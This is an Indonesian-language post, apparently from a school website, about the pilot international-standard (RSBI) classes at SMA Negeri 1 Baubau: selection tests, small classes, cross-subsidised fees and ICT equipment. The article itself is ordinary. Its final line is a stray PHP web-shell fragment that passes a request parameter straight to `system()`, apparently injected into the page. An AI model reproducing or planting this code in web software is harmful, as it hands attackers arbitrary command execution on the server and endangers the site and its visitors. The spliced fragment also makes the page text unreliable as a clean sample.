RSBI merupakan kemajuan di dunia pendidikan dengan memperhatikan kualitas pendidikan di mana secara awam ditafsirkan sekolah dengan kualitas lulusan yang mampu menggunakan bahasa Inggris khususnya yang sampai saat ini atau bahkan untuk tahun ke depan pun merupakan tolak ukur utama siswa atau seseorang dikatakan mempunyai kemampuan lebih di dunia pendidikan.
Pada dasarnya RSBI dimaksudkan agar mutu pendidikan dapat dimaksimalkan dengan melakukan rintisan sekolah bertaraf internasional dengan menggunakan pengantar bahasa inggris meskipun tidak mengesampingkan bahasa indonesia sebagai bahasa nasional.
Mulai tahun pelajaran 2009/2010, SMA Negeri 1 Baubau menerapkan Rintisan Sekolah Bertaraf Internasional. Untuk tahun pelajaran pertama ini SMA Negeri 1 Baubau memiliki 2 kelas RSBI, yang masing-masing kelas terdiri dari 20 siswa. Jumlah siswa per kelas tersebut memang disesuaikan dengan standar internasional (maksimum 24 siswa/kelas), sedangkan standar nasional per kelas belajar maksimum 32 siswa. Jumlah siswa per kelas memang menjadi perhatian karena hal itu akan mempengaruhi efektifitas sproses belajar mengajar. Siswa akan merasa lebih nyaman sehingga dapat menerima materi pelajaran dari guru dengan baik. Demikian pula guru akan dapat berinteraksi lebih intensif dengan siswa dalam kelas.
Siswa-siswa yang berhak mengikuti pelajaran di dua kelas RSBI tersebut merupakan siswa pilihan di SMA Negeri 1 Baubau. Mereka telah melalui serangkaian seleksi tambahan dibanding siswa di kelas reguler. Tambahan seleksi adalah berupa tes kemampuan Matematika dan IPA, tes kemampuan berbahasa Inggris dan tes wawancara. Walaupun biaya siswa yang dinyatakan diterima belajar di kelas RSBI lebih besar daripada siswa yang belajar di kelas reguler, namun di SMA Negeri 1 Baubau siswa RSBI ada pula dari kalangan kurang mampu. Hal itu dimungkinkan karena SMA Negeri 1 Baubau dalam pelaksanaan kelas RSBI menggunakan sistem subsidi silang. Maksudnya siswa-siswi kelas RSBI yang berasal dari keluarga kurang mampu diberikan subsidi. Sehingga biaya tambahan yang harus dibayar orangtua mereka berkaitan dengan pelaksanaan kelas RSBI relatif lebih rendah daripada siswa-siswi yang orangtuanya mempunyai kemampuan dalam hal ekonomi. Prinsip ini diterapkan di SMA Negeri 1 Baubau dengan maksud agar pelaksanaan kelas RSBI tidak terkesan “hanya untuk siswa kaya“.
Di bidang sarana prasarana, kaitannya dengan pelaksanaan kelas RSBI SMA Negeri 1 Baubau telah memiliki perangkat pembelajaran berbasis ICT seperti LCD Proyektor, Laptop, sarana internet dan fasilitas hotspot (dalam proses pembenahan) yang dapat ditangkap sinyalnya di setiap sudut kampus. Sekitar 50% guru SMA Negeri 1 Baubau telah memiliki laptop. Lebih banyak dari jumlah tersebut telah pula mengikuti In House Training tentang pemanfaatan IT dalam pembelajaran.
Kesimpulannya, SMA Negeri 1 Baubau telah mempersiapkan dirinya untuk menjadi Sekolah Bertaraf Internasional (tanpa “R” lagi). Tinggal yang diperlukan adalah dukungan dari warga sekolah, masyarakat, dan pemerintah daerah serta pemerintah pusat.
Tags: In House Training, reguler, RSBI, seleksi, subsidi silang, wawancara

"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }